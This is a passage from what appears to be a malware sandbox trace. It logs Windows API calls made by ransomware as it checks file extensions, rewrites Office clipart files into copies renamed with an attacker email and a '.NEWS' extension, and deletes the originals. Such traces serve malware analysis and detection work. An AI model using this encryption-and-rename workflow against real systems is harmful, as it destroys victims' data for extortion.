(lpString1=".dbf", lpString2=".WMF") returned -1 [0174.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0174.507] lstrlenW (lpString=".1cd") returned 4 [0174.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0174.507] lstrlenW (lpString=".jpg") returned 4 [0174.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0174.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0174.507] lstrlenW (lpString=".doc") returned 4 [0174.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.507] lstrlenW (lpString=".docx") returned 5 [0174.507] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0174.507] lstrlenW (lpString=".pdf") returned 4 [0174.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.507] lstrlenW (lpString=".xls") returned 4 [0174.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.507] lstrlenW (lpString=".xlsx") returned 5 [0174.507] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0174.507] lstrlenW (lpString=".ppt") returned 4 [0174.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0174.507] lstrlenW (lpString=".zip") returned 4 [0174.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.507] lstrlenW (lpString=".rar") returned 4 [0174.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.508] lstrlenW (lpString=".bz2") returned 4 [0174.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.508] lstrlenW (lpString=".7z") returned 3 [0174.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0174.508] lstrlenW (lpString=".dbf") returned 4 [0174.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0174.508] lstrlenW (lpString=".1cd") returned 4 [0174.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0174.508] lstrlenW (lpString=".jpg") returned 4 [0174.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.508] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.508] lstrlenW (lpString="J0105272.WMF") returned 12 [0174.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0174.509] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=17728) returned 1 [0174.509] CloseHandle (hObject=0x36c) returned 1 [0174.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220 [0174.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0174.510] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.510] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0174.900] GetLastError () returned 0x0 [0174.900] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x4540, lpOverlapped=0x0) returned 1 [0174.902] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4550, lpOverlapped=0x0) returned 1 [0174.903] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.903] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.903] SetEndOfFile (hFile=0x474) returned 1 [0174.903] CloseHandle (hObject=0x474) returned 1 [0174.904] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.904] SetEndOfFile (hFile=0x36c) returned 1 [0174.911] CloseHandle (hObject=0x36c) returned 1 [0174.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0174.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0174.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0174.913] lstrlenW (lpString=".doc") returned 4 [0174.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.913] lstrlenW (lpString=".docx") returned 5 [0174.913] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.913] lstrlenW (lpString=".pdf") returned 4 [0174.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.913] lstrlenW (lpString=".xls") returned 4 [0174.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.913] lstrlenW (lpString=".xlsx") returned 5 [0174.913] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.913] lstrlenW (lpString=".ppt") returned 4 [0174.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0174.913] lstrlenW (lpString=".zip") returned 4 [0174.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.913] lstrlenW (lpString=".rar") returned 4 [0174.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.913] lstrlenW (lpString=".bz2") returned 4 [0174.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.913] lstrlenW (lpString=".7z") returned 3 [0174.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0174.913] lstrlenW (lpString=".dbf") returned 4 [0174.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0174.913] lstrlenW (lpString=".1cd") returned 4 [0174.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0174.913] lstrlenW (lpString=".jpg") returned 4 [0174.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0174.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0174.913] lstrlenW (lpString=".doc") returned 4 [0174.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.914] lstrlenW (lpString=".docx") returned 5 [0174.914] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.914] lstrlenW (lpString=".pdf") returned 4 [0174.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.914] lstrlenW (lpString=".xls") returned 4 [0174.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.914] lstrlenW (lpString=".xlsx") returned 5 [0174.914] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.914] lstrlenW (lpString=".ppt") returned 4 [0174.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0174.914] lstrlenW (lpString=".zip") returned 4 [0174.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.914] lstrlenW (lpString=".rar") returned 4 [0174.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.914] lstrlenW (lpString=".bz2") returned 4 [0174.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.914] lstrlenW (lpString=".7z") returned 3 [0174.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0174.914] lstrlenW (lpString=".dbf") returned 4 [0174.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0174.914] lstrlenW (lpString=".1cd") returned 4 [0174.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0174.914] lstrlenW (lpString=".jpg") returned 4 [0174.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.914] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.915] lstrlenW (lpString="J0105328.WMF") returned 12 [0174.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0174.915] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=7992) returned 1 [0174.915] CloseHandle (hObject=0x36c) returned 1 [0174.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220 [0174.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0174.916] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.916] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0174.927] GetLastError () returned 0x0 [0174.927] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1f38, lpOverlapped=0x0) returned 1 [0174.929] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1f40, lpOverlapped=0x0) returned 1 [0174.930] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.930] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.930] SetEndOfFile (hFile=0x474) returned 1 [0174.930] CloseHandle (hObject=0x474) returned 1 [0174.930] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.930] SetEndOfFile (hFile=0x36c) returned 1 [0174.933] CloseHandle (hObject=0x36c) returned 1 [0174.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0174.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0174.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0174.935] lstrlenW (lpString=".doc") returned 4 [0174.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.935] lstrlenW (lpString=".docx") returned 5 [0174.935] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.935] lstrlenW (lpString=".pdf") returned 4 [0174.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.935] lstrlenW (lpString=".xls") returned 4 [0174.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.935] lstrlenW (lpString=".xlsx") returned 5 [0174.935] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.935] lstrlenW (lpString=".ppt") returned 4 [0174.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0174.936] lstrlenW (lpString=".zip") returned 4 [0174.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.936] lstrlenW (lpString=".rar") returned 4 [0174.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.936] lstrlenW (lpString=".bz2") returned 4 [0174.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.936] lstrlenW (lpString=".7z") returned 3 [0174.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0174.936] lstrlenW (lpString=".dbf") returned 4 [0174.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0174.936] lstrlenW (lpString=".1cd") returned 4 [0174.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0174.936] lstrlenW (lpString=".jpg") returned 4 [0174.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0174.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0174.936] lstrlenW (lpString=".doc") returned 4 [0174.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.936] lstrlenW (lpString=".docx") returned 5 [0174.936] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.936] lstrlenW (lpString=".pdf") returned 4 [0174.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.936] lstrlenW (lpString=".xls") returned 4 [0174.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.936] lstrlenW (lpString=".xlsx") returned 5 [0174.936] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.936] lstrlenW (lpString=".ppt") returned 4 [0174.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0174.936] lstrlenW (lpString=".zip") returned 4 [0174.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.937] lstrlenW (lpString=".rar") returned 4 [0174.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.937] lstrlenW (lpString=".bz2") returned 4 [0174.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.937] lstrlenW (lpString=".7z") returned 3 [0174.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0174.937] lstrlenW (lpString=".dbf") returned 4 [0174.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0174.937] lstrlenW (lpString=".1cd") returned 4 [0174.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0174.937] lstrlenW (lpString=".jpg") returned 4 [0174.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.937] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.937] lstrlenW (lpString="J0105332.WMF") returned 12 [0174.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0174.938] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=10508) returned 1 [0174.938] CloseHandle (hObject=0x36c) returned 1 [0174.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220 [0174.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0174.939] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.939] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0174.940] GetLastError () returned 0x0 [0174.940] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x290c, lpOverlapped=0x0) returned 1 [0174.942] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2910, lpOverlapped=0x0) returned 1 [0174.943] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.943] WriteFile (in: hFile=0x474, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.943] SetEndOfFile (hFile=0x474) returned 1 [0174.944] CloseHandle (hObject=0x474) returned 1 [0174.944] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.944] SetEndOfFile (hFile=0x36c) returned 1 [0175.595] CloseHandle (hObject=0x36c) returned 1 [0175.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0176.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0176.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0176.010] lstrlenW (lpString=".doc") returned 4 [0176.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.010] lstrlenW (lpString=".docx") returned 5 [0176.010] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.010] lstrlenW (lpString=".pdf") returned 4 [0176.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.010] lstrlenW (lpString=".xls") returned 4 [0176.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.010] lstrlenW (lpString=".xlsx") returned 5 [0176.010] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.010] lstrlenW (lpString=".ppt") returned 4 [0176.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0176.010] lstrlenW (lpString=".zip") returned 4 [0176.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.010] lstrlenW (lpString=".rar") returned 4 [0176.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.010] lstrlenW (lpString=".bz2") returned 4 [0176.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.010] lstrlenW (lpString=".7z") returned 3 [0176.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0176.010] lstrlenW (lpString=".dbf") returned 4 [0176.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0176.010] lstrlenW (lpString=".1cd") returned 4 [0176.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0176.011] 